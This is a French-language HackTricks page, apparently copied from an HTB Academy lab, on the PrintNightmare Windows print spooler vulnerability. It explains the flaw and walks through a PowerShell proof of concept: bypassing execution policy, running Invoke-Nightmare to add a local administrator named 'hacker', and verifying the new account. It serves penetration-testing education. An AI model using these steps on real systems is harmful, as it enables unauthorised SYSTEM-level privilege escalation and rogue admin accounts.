hacktricks/windows-hardening/active-directory-methodology/printnightmare.md
2023-06-03 13:10:46 +00:00

8.9 KiB

PrintNightmare

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Cette page a été copiée depuis https://academy.hackthebox.com/module/67/section/627****

CVE-2021-1675/CVE-2021-34527 PrintNightmare est une faille dans RpcAddPrinterDriver qui est utilisée pour permettre l'impression à distance et l'installation de pilotes.
Cette fonction est destinée à donner aux utilisateurs ayant le privilège Windows SeLoadDriverPrivilege la possibilité d'ajouter des pilotes à un spouleur d'impression distant. Ce droit est généralement réservé aux utilisateurs du groupe Administrateurs intégrés et des Opérateurs d'impression qui peuvent avoir besoin d'installer un pilote d'imprimante sur la machine d'un utilisateur final à distance.

La faille a permis à n'importe quel utilisateur authentifié d'ajouter un pilote d'impression à un système Windows sans avoir le privilège mentionné ci-dessus, permettant à un attaquant une exécution de code à distance complète en tant que SYSTEM sur tout système affecté. La faille affecte toutes les versions prises en charge de Windows, et étant donné que le spouleur d'impression s'exécute par défaut sur les contrôleurs de domaine, Windows 7 et 10, et est souvent activé sur les serveurs Windows, cela présente une énorme surface d'attaque, d'où le nom "nightmare".

Microsoft a initialement publié un correctif qui n'a pas résolu le problème (et les premières directives étaient de désactiver le service Spooler, ce qui n'est pas pratique pour de nombreuses organisations), mais a publié un deuxième correctif en juillet 2021 avec des directives pour vérifier que des paramètres de registre spécifiques sont définis sur 0 ou non définis.

Une fois que cette vulnérabilité a été rendue publique, des exploits PoC ont été rapidement publiés. Cette version ici de @cube0x0 peut être utilisée pour exécuter une DLL malveillante à distance ou localement en utilisant une version modifiée d'Impacket. Le repo contient également une implémentation en C#.
Cette implémentation PowerShell ici peut être utilisée pour une élévation rapide des privilèges locaux. Par défaut, ce script ajoute un nouvel utilisateur administrateur local, mais nous pouvons également fournir une DLL personnalisée pour obtenir un shell inversé ou similaire si l'ajout d'un utilisateur administrateur local n'est pas dans le cadre.

Vérification du service Spooler

Nous pouvons rapidement vérifier si le service Spooler est en cours d'exécution avec la commande suivante. Si ce n'est pas le cas, nous recevrons une erreur "le chemin n'existe pas".

PS C:\htb> ls \\localhost\pipe\spoolss


    Directory: \\localhost\pipe


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
                                                  spoolss

Ajout d'un administrateur local avec le PoC PowerShell PrintNightmare

Commencez d'abord par contourner la politique d'exécution sur l'hôte cible :

PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

Maintenant, nous pouvons importer le script PowerShell et l'utiliser pour ajouter un nouvel utilisateur administrateur local.

PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

Confirmation du nouvel utilisateur administrateur

Si tout s'est déroulé comme prévu, nous aurons un nouvel utilisateur administrateur local sous notre contrôle. Ajouter un utilisateur est "bruyant", nous ne voudrions pas le faire lors d'une mission où la discrétion est importante. De plus, nous voudrions vérifier avec notre client que la création de compte est dans le cadre de l'évaluation.

PS C:\htb> net user hacker

User name                    hacker
Full Name                    hacker
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            ?8/?9/?2021 12:12:01 PM
Password expires             Never
Password changeable          ?8/?9/?2021 12:12:01 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       
Global Group memberships     *None                 
The command completed successfully.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥